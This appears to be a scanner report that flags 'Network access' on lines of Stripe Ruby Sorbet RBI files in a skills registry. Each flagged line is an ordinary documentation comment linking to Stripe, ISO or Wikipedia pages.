} def company=(_company); end # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts). - Network accessline 2865
def company=(_company); end # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts). sig { returns( - Network accessline 2866
# Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts). - Network accessline 2909
} def individual=(_individual); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 2910
def individual=(_individual); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 2911
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/application_fee_refund_create_params.rbi
- Network accessline 15
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 16
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 17
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/application_fee_refund_update_params.rbi
- Network accessline 10
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 11
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 12
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/balance_settings_update_params.rbi
- Network accessline 100
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Settings that apply to the [Payments Balance](https://docs.stripe.com/api/balance). - Network accessline 101
def expand=(_expand); end # Settings that apply to the [Payments Balance](https://docs.stripe.com/api/balance). sig { returns(T.nilable(BalanceSettingsUpdateParams::Payments)) } - Network accessline 102
# Settings that apply to the [Payments Balance](https://docs.stripe.com/api/balance).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/balance_transaction_list_params.rbi
- Network accessline 38
} def created=(_created); end # Only return transactions in a certain currency. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs - Network accessline 39
def created=(_created); end # Only return transactions in a certain currency. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre - Network accessline 40
# Only return transactions in a certain currency. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing/credit_grant_create_params.rbi
- Network accessline 8
class Amount < ::Stripe::RequestParams class Monetary < ::Stripe::RequestParams # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `value` parameter. - Network accessline 9
class Monetary < ::Stripe::RequestParams # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `value` parameter. sig { returns(String) } - Network accessline 10
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `value` parameter. - Network accessline 85
} def amount=(_amount); end # Configuration specifying what this credit grant applies to. We currently only support `metered` prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. - Network accessline 86
def amount=(_amount); end # Configuration specifying what this credit grant applies to. We currently only support `metered` prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. sig { re - Network accessline 87
# Configuration specifying what this credit grant applies to. We currently only support `metered` prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing/meter_event_create_params.rbi
- Network accessline 21
sig { params(_identifier: T.nilable(String)).returns(T.nilable(String)) } def identifier=(_identifier); end # The payload of the event. This must contain the fields corresponding to a meter's `customer_mapping.event_payload_key` - Network accessline 22
def identifier=(_identifier); end # The payload of the event. This must contain the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (defau - Network accessline 23
# The payload of the event. This must contain the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (default is `value`). Read more about the [pay
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing_portal/configuration_create_params.rbi
- Network accessline 193
def initialize(conditions: nil); end end # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value - Network accessline 194
end # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycl - Network accessline 195
# Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th - Network accessline 308
end class LoginPage < ::Stripe::RequestParams # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take - Network accessline 309
class LoginPage < ::Stripe::RequestParams # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your custo - Network accessline 310
# Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your customers to a hosted login page for the customer porta - Network accessline 323
} def business_profile=(_business_profile); end # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessi - Network accessline 324
def business_profile=(_business_profile); end # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/crea - Network accessline 325
# The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t - Network accessline 340
} def features=(_features); end # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share). - Network accessline 341
def features=(_features); end # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share). sig - Network accessline 342
# The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share). - Network accessline 347
} def login_page=(_login_page); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 348
def login_page=(_login_page); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 349
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing_portal/configuration_update_params.rbi
- Network accessline 195
def initialize(conditions: nil); end end # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value - Network accessline 196
end # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycl - Network accessline 197
# Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th - Network accessline 310
end class LoginPage < ::Stripe::RequestParams # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take - Network accessline 311
class LoginPage < ::Stripe::RequestParams # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your custo - Network accessline 312
# Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your customers to a hosted login page for the customer porta - Network accessline 332
} def business_profile=(_business_profile); end # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessi - Network accessline 333
def business_profile=(_business_profile); end # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/crea - Network accessline 334
# The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t - Network accessline 349
} def features=(_features); end # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share). - Network accessline 350
def features=(_features); end # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share). sig - Network accessline 351
# The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share). - Network accessline 356
} def login_page=(_login_page); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 357
def login_page=(_login_page); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 358
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing_portal/session_create_params.rbi
- Network accessline 128
end class Item < ::Stripe::RequestParams # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated. - Network accessline 129
class Item < ::Stripe::RequestParams # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated. sig { returns(String) } - Network accessline 130
# The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated. - Network accessline 133
sig { params(_id: String).returns(String) } def id=(_id); end # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.prod - Network accessline 134
def id=(_id); end # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/confi - Network accessline 135
# The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_ - Network accessline 138
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through - Network accessline 139
def price=(_price); end # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow. sig { returns(T.nilable(Integer)) } - Network accessline 140
# [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow. - Network accessline 155
} def discounts=(_discounts); end # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple item - Network accessline 156
def discounts=(_discounts); end # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not up - Network accessline 157
# The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable. - Network accessline 220
); end end # The ID of an existing [configuration](https://docs.stripe.com/api/customer_portal/configuration) to use for this session, describing its functionality and features. If not specified, the session uses the default con - Network accessline 221
end # The ID of an existing [configuration](https://docs.stripe.com/api/customer_portal/configuration) to use for this session, describing its functionality and features. If not specified, the session uses the default configuration. - Network accessline 222
# The ID of an existing [configuration](https://docs.stripe.com/api/customer_portal/configuration) to use for this session, describing its functionality and features. If not specified, the session uses the default configuration. - Network accessline 240
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/custo - Network accessline 241
def expand=(_expand); end # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows - Network accessline 242
# Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows. - Network accessline 252
sig { params(_locale: T.nilable(String)).returns(T.nilable(String)) } def locale=(_locale); end # The `on_behalf_of` account to use for this session. When specified, only subscriptions and invoices with this `on_behalf_of` accou - Network accessline 253
def locale=(_locale); end # The `on_behalf_of` account to use for this session. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.s - Network accessline 254
# The `on_behalf_of` account to use for this session. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.stripe.com/connect/separate-charg
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/charge_capture_params.rbi
- Network accessline 39
sig { params(_receipt_email: T.nilable(String)).returns(T.nilable(String)) } def receipt_email=(_receipt_email); end # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value over - Network accessline 40
def receipt_email=(_receipt_email); end # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requireme - Network accessline 41
# For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [ - Network accessline 46
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descripto - Network accessline 47
def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f - Network accessline 48
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 51
sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor_suffix=(_statement_descriptor_suffix); end # An optional dictionary including the account to automatically transfer - Network accessline 52
def statement_descriptor_suffix=(_statement_descriptor_suffix); end # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/con - Network accessline 53
# An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. - Network accessline 58
} def transfer_data=(_transfer_data); end # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/ - Network accessline 59
def transfer_data=(_transfer_data); end # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separa - Network accessline 60
# A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) f
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/charge_create_params.rbi
- Network accessline 20
end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your paym - Network accessline 21
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 22
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 35
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 36
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 37
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 55
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 56
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 57
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 118
def initialize(amount: nil, destination: nil); end end # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-dec - Network accessline 119
end # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge - Network accessline 120
# Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a - Network accessline 128
sig { params(_application_fee: T.nilable(Integer)).returns(T.nilable(Integer)) } def application_fee=(_application_fee); end # A fee in cents (or local equivalent) that will be applied to the charge and transferred to the applicatio - Network accessline 129
def application_fee=(_application_fee); end # A fee in cents (or local equivalent) that will be applied to the charge and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the `Stripe-A - Network accessline 130
# A fee in cents (or local equivalent) that will be applied to the charge and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the `Stripe-Account` header in order to take an application f - Network accessline 133
sig { params(_application_fee_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def application_fee_amount=(_application_fee_amount); end # Whether to immediately capture the charge. Defaults to `true`. When `false`, the cha - Network accessline 134
def application_fee_amount=(_application_fee_amount); end # Whether to immediately capture the charge. Defaults to `true`. When `false`, the charge issues an authorization (or pre-authorization), and will need to be [captured](https://a - Network accessline 135
# Whether to immediately capture the charge. Defaults to `true`. When `false`, the charge issues an authorization (or pre-authorization), and will need to be [captured](https://api.stripe.com#capture_charge) later. Uncaptured charges expire - Network accessline 138
sig { params(_capture: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def capture=(_capture); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported curr - Network accessline 139
def capture=(_capture); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 140
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 165
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 166
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 167
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 172
} def metadata=(_metadata); end # The Stripe account ID for which these funds are intended. You can specify the business of record as the connected account using the `on_behalf_of` attribute on the charge. For details, see [Creating - Network accessline 173
def metadata=(_metadata); end # The Stripe account ID for which these funds are intended. You can specify the business of record as the connected account using the `on_behalf_of` attribute on the charge. For details, see [Creating Separ - Network accessline 174
# The Stripe account ID for which these funds are intended. You can specify the business of record as the connected account using the `on_behalf_of` attribute on the charge. For details, see [Creating Separate Charges and Transfers](https:/ - Network accessline 177
sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) } def on_behalf_of=(_on_behalf_of); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 178
def on_behalf_of=(_on_behalf_of); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(ChargeCreateParams::RadarOptions)) } - Network accessline 179
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 184
} def radar_options=(_radar_options); end # The email address to which this charge's [receipt](https://docs.stripe.com/dashboard/receipts) will be sent. The receipt will not be sent until the charge is paid, and no receipts will be - Network accessline 185
def radar_options=(_radar_options); end # The email address to which this charge's [receipt](https://docs.stripe.com/dashboard/receipts) will be sent. The receipt will not be sent until the charge is paid, and no receipts will be sent f - Network accessline 186
# The email address to which this charge's [receipt](https://docs.stripe.com/dashboard/receipts) will be sent. The receipt will not be sent until the charge is paid, and no receipts will be sent for test mode charges. If this charge is for - Network accessline 196
} def shipping=(_shipping); end # A payment source to be charged. This can be the ID of a [card](https://docs.stripe.com/api#cards) (i.e., credit or debit card), a [bank account](https://docs.stripe.com/api#bank_accounts), a [source - Network accessline 197
def shipping=(_shipping); end # A payment source to be charged. This can be the ID of a [card](https://docs.stripe.com/api#cards) (i.e., credit or debit card), a [bank account](https://docs.stripe.com/api#bank_accounts), a [source](http - Network accessline 198
# A payment source to be charged. This can be the ID of a [card](https://docs.stripe.com/api#cards) (i.e., credit or debit card), a [bank account](https://docs.stripe.com/api#bank_accounts), a [source](https://docs.stripe.com/api#sources), - Network accessline 201
sig { params(_source: T.nilable(String)).returns(T.nilable(String)) } def source=(_source); end # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's d - Network accessline 202
def source=(_source); end # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including - Network accessline 203
# For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [ - Network accessline 208
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descripto - Network accessline 209
def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f - Network accessline 210
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 213
sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor_suffix=(_statement_descriptor_suffix); end # An optional dictionary including the account to automatically transfer - Network accessline 214
def statement_descriptor_suffix=(_statement_descriptor_suffix); end # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/con - Network accessline 215
# An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. - Network accessline 220
} def transfer_data=(_transfer_data); end # A string that identifies this transaction as part of a group. For details, see [Grouping transactions](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options). - Network accessline 221
def transfer_data=(_transfer_data); end # A string that identifies this transaction as part of a group. For details, see [Grouping transactions](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options). sig { - Network accessline 222
# A string that identifies this transaction as part of a group. For details, see [Grouping transactions](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/charge_search_params.rbi
- Network accessline 20
sig { params(_page: T.nilable(String)).returns(T.nilable(String)) } def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query - Network accessline 21
def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for charges](https://docs.stripe.com/search#query-fields-for-char - Network accessline 22
# The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for charges](https://docs.stripe.com/search#query-fields-for-charges).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/charge_update_params.rbi
- Network accessline 21
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 22
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 23
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 41
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 42
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 43
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 112
} def fraud_details=(_fraud_details); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form - Network accessline 113
def fraud_details=(_fraud_details); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 114
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 131
} def shipping=(_shipping); end # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-c - Network accessline 132
def shipping=(_shipping); end # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges - Network accessline 133
# A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) f
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/checkout/session_create_params.rbi
- Network accessline 7
class SessionCreateParams < ::Stripe::RequestParams class AdaptivePricing < ::Stripe::RequestParams # If set to `true`, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize- - Network accessline 8
class AdaptivePricing < ::Stripe::RequestParams # If set to `true`, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restricti - Network accessline 9
# If set to `true`, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions). Defaults to your [dashboard setting](https://dashb - Network accessline 61
def initialize(account: nil, type: nil); end end # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. - Network accessline 62
end # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. # - Network accessline 63
# Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. - Network accessline 82
class BrandingSettings < ::Stripe::RequestParams class Icon < ::Stripe::RequestParams # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type - Network accessline 83
class Icon < ::Stripe::RequestParams # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise. sig { ret - Network accessline 84
# The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise. - Network accessline 101
end class Logo < ::Stripe::RequestParams # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise. - Network accessline 102
class Logo < ::Stripe::RequestParams # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise. sig { ret - Network accessline 103
# The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise. - Network accessline 141
sig { params(_display_name: T.nilable(String)).returns(T.nilable(String)) } def display_name=(_display_name); end # The font family for the Checkout Session corresponding to one of the [supported font families](https://docs. - Network accessline 142
def display_name=(_display_name); end # The font family for the Checkout Session corresponding to one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font- - Network accessline 143
